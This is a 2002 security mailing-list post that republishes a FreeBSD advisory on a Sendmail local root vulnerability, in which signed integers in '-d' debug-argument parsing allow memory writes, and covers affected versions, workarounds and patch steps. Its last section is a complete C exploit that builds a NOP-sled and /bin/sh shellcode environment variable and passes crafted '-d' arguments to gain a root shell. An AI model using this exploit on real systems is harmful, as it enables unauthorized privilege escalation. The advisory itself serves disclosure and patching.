[EXPL] Exploit for Sendmail Local Root Vulnerability (FreeBSD, -d)

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From: support@securiteam.com
To: list@securiteam.com
Date: 20 Dec 2002 14:06:29 +0200

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  Exploit for Sendmail Local Root Vulnerability (FreeBSD, -d)
------------------------------------------------------------------------

SUMMARY

Sendmail contains an input validation error which may lead to the
execution of arbitrary code with elevated privileges by local users. Due
to the improper use of signed integers in code responsible for the
processing of debugging arguments, a local user may be able to supply the
signed integer equivalent of a negative value supplied to Sendmail's
"trace vector". This may allow a local user to write data anywhere within
a certain range of locations in process memory. Because the '-d'
command-line switch is processed before the program drops its elevated
privileges, the attacker may be able to cause arbitrary code to be
executed with root privileges.

DETAILS

Affects:
 * FreeBSD 4-STABLE after August 27, 2000 and prior to the correction
date, FreeBSD 4.1.1-RELEASE, 4.2-RELEASE, 4.3-RELEASE

Impact:
Local users may be able to execute arbitrary code with root privileges.

Workaround:
Do not allow untrusted users to execute the sendmail binary.

Solution:
One of the following:

1) Upgrade your vulnerable FreeBSD system to 4.3-STABLE or the RELENG_4_3
security branch after the respective correction dates.

2) FreeBSD 4.x systems after August 27, 2000 and prior to the correction
date:

The following patch has been verified to apply to FreeBSD 4.1.1-RELEASE,
4.2-RELEASE, 4.3-RELEASE and 4-STABLE dated prior to the correction date.

Download the patch and the detached PGP signature from the following
locations, and verify the signature using your PGP utility.

# fetch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:57/sendmail.patch
# fetch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:57/sendmail.patch.asc

Execute the following commands as root:

# cd /usr/src
# patch -p < /path/to/patch
# cd /usr/src/lib/libsmutil
# make depend && make all
# cd /usr/src/usr.sbin/sendmail
# make depend && make all install

3) FreeBSD 4.3-RELEASE systems:

An experimental upgrade package is available for users who wish to provide
testing and feedback on the binary upgrade process. This package may be
installed on FreeBSD 4.3-RELEASE systems only, and is intended for use on
systems for which source patching is not practical or convenient.

If you use the upgrade package, feedback (positive or negative) to
security-officer@FreeBSD.org is requested so we can improve the process
for future advisories.

During the installation procedure, backup copies are made of the files
which are replaced by the package. These backup copies will be reinstalled
if the package is removed, reverting the system to a pre-patched state.

# fetch
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/packages/SA-01:57/security-patch-sendmail-01.57.tgz
# fetch
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/packages/SA-01:57/security-patch-sendmail-01.57.tgz.asc

Verify the detached PGP signature using your PGP utility.

# pkg_add security-patch-sendmail-01:57.tgz

Restart sendmail after applying the patch by executing the following
commands as root:

# killall sendmail
# /usr/sbin/sendmail -bd -q30m

The flags to sendmail may need to be adjusted as required for the local
system configuration.

Correction details:
The following is the sendmail $Id$ revision number of the file that was
corrected for the supported branches of FreeBSD. The $Id$ revision number
of the installed source can be examined using the ident(1) command.

  Revision Path
  8.20.22.4 src/contrib/sendmail/src/trace.c

Exploit:
/*
 * local r00t exploit for sendmail on *bsd*
 *
 * tested on: FreeBSD 4.3-RELEASE (sendmail version 8.11.3)
 *
 * writed by CrZ [crazy_einstein@yahoo.com] LimpidByte
 *
 * credits by Cade Cairnss:
http://packetstormsecurity.org/advisories/freebsd/FreeBSD-SA-01:57.sendmail
 */
 
#include <sys/param.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define NOPNUM 1024

char shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
  char *egg, s[256], *av[3], *ev[2];

  egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
  if (egg == NULL) {
    perror("malloc()");
    exit(-1);
  }
  sprintf(egg, "EGG=");
  memset(egg + 4, 0x90, NOPNUM);
  sprintf(egg + 4 + NOPNUM, "%s", shellcode);

  
sprintf(s,"-d4294900452-4294900452.196\n-d4294900453-4294900453.252\n-d4294900454-4294900454.191\n-d4294900455-4294900455.191");

  av[0] = "/usr/sbin/sendmail";
  av[1] = s;
  av[2] = NULL;
  ev[0] = egg;
  ev[1] = NULL;
  execve(*av, av, ev);

  return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:crazy_einstein@yahoo.com>
CrZ and the FreeBSD security team.

========================================

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